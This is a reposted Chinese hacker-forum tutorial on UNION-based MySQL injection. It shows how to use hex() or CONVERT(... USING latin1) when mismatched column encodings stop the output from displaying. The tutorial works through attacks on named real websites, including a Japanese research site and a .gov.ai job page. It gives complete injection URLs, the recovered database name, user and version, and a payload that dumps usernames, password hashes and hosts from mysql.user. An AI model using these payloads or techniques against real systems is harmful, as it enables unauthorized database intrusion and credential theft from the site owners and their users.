刀城技术网-信息安全,服务器安全维护,网站安全维护

当前位置: 网站主页 > 数据安全 > MYSQL注入 >

搞定联合查询注入字段间编码不同无法显示内容问题

时间:2012-06-06 11:04来源:http://bbs.blackbap.org 作者:小Dの马甲 点击:
作者:小Dの马甲 原文地址:http://bbs.blackbap.org/thread-1646-1-1.html 注入的时候往往能碰到这样一种情况:有显示位,但是无法显示内容,甚至连database()都无法显示。今天找到一个绝好的例子来讲这样的一种情况。 注入点:http://www.tkfd.or.jp/resea
作者:小Dの马甲


原文地址:http://bbs.blackbap.org/thread-1646-1-1.html


注入的时候往往能碰到这样一种情况:有显示位,但是无法显示内容,甚至连database()都无法显示。今天找到一个绝好的例子来讲这样的一种情况。
注入点:http://www.tkfd.or.jp/research/theme/index.php?id=1
导致这种情况出现的原因是当union联合起两个字段的时候,字段之间的编码不同,导致执行失败而无法显示。解决这种问题的方法很简单,就是用hex()来解决。
根据猜解,这个注入点的字段数为7,这样的话,我们就构造注入语句如下:
http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7/*
虽然有7个字段,但是并不是7个字段都有显示,只有6号位置能显示内容。如图:

1.png

首先测试一下,看一下数据库名称:
http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,database(),7/*
但是系统显示执行失败了:

2.png

既然显示位能显示6但是却不能显示database()那说明问题八成是出在字段编码格式上面。
很简单的解决方法,使用hex()将原本要查询的内容括起来再执行就可以了,然后将得到的东西格式手动转换一下格式。
这样最后的查询语句就是:
http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,hex(concat(database(),0x5f5f,user(),0x5f5f,version())),7/*

3.png

得到的回显如下:
73716C5F64625F66752E6D79382E73756974652E6A70406463362E65746975732E6A705F342E312E31322D6C6F67
格式转换一下就是:
ql_db__fu.my8.suite.jp@dc6.etius.jp__4.1.12-log
注*前面查询语句里的0x5f就是最终回显里的两个下划线“__”
很容易就得到如下信息,
当前数据库名称为:ql_db
当前数据库用户:fu.my8.suite.jp@dc6.etius.jp
数据库版本:4.1.12-log




原文地址:http://bbs.blackbap.org/thread-1932-1-2.html


接上文。

这种EUC日本语言的网站用hex无可非议,但是如果遇到utf-8编码和lang=en啊西欧啊什么的不兼容,这样hex来unhex去的,相当麻烦。其实在俄罗斯黑客那里还有个更简单的方法。当然,函数还是函数,函数都是MySQL的,要看你怎么用了。
函数名称:convert()
作用:转换编码格式
在MySQL的编码格式中,有这么几种:gb2312和utf-8(当然还有,国内基本没有用的),还有一个默认的Latin1
如果显示位能显示数字,却无法显示user()(判断编码不同这个问题我就不重复了。。。),就可能是编码不同。这个时候用convert转换成latin1显示就行了。用法例如:
  1. CONVERT(group_concat(DISTINCT+user,0x3a,password,0x3a,host)+USING+latin1)
就这么简单。至于例子,自己找吧。convert也不是个难记的函数。
补充一个最痛快的例子,就是Mr.Cool原文章中的:
  1. http://www.gov.ai/vacancies/details.php?id=-1+UNION+SELECT+1,2,3,4,5,6,CONVERT(group_concat(DISTINCT+user,0x3a,password,0x3a,host)+USING+latin1)+from+mysql.user/*
(责任编辑:刀)
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
验证码:点击我更换图片
栏目列表
推荐内容